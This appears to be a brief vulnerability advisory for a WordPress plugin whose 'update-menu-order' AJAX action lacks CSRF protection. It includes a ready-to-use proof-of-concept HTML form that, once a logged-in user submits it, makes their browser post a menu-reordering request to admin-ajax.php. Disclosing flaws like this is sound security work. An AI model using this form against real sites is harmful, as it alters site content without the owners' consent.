The plugin lacks CSRF protection in its update-menu-order ajax action, allowing an attacker to trick any user to change the menu order via a CSRF attack
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="update-menu-order" />
<input type="hidden" name="order" value="post[]=7&post[]=5" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>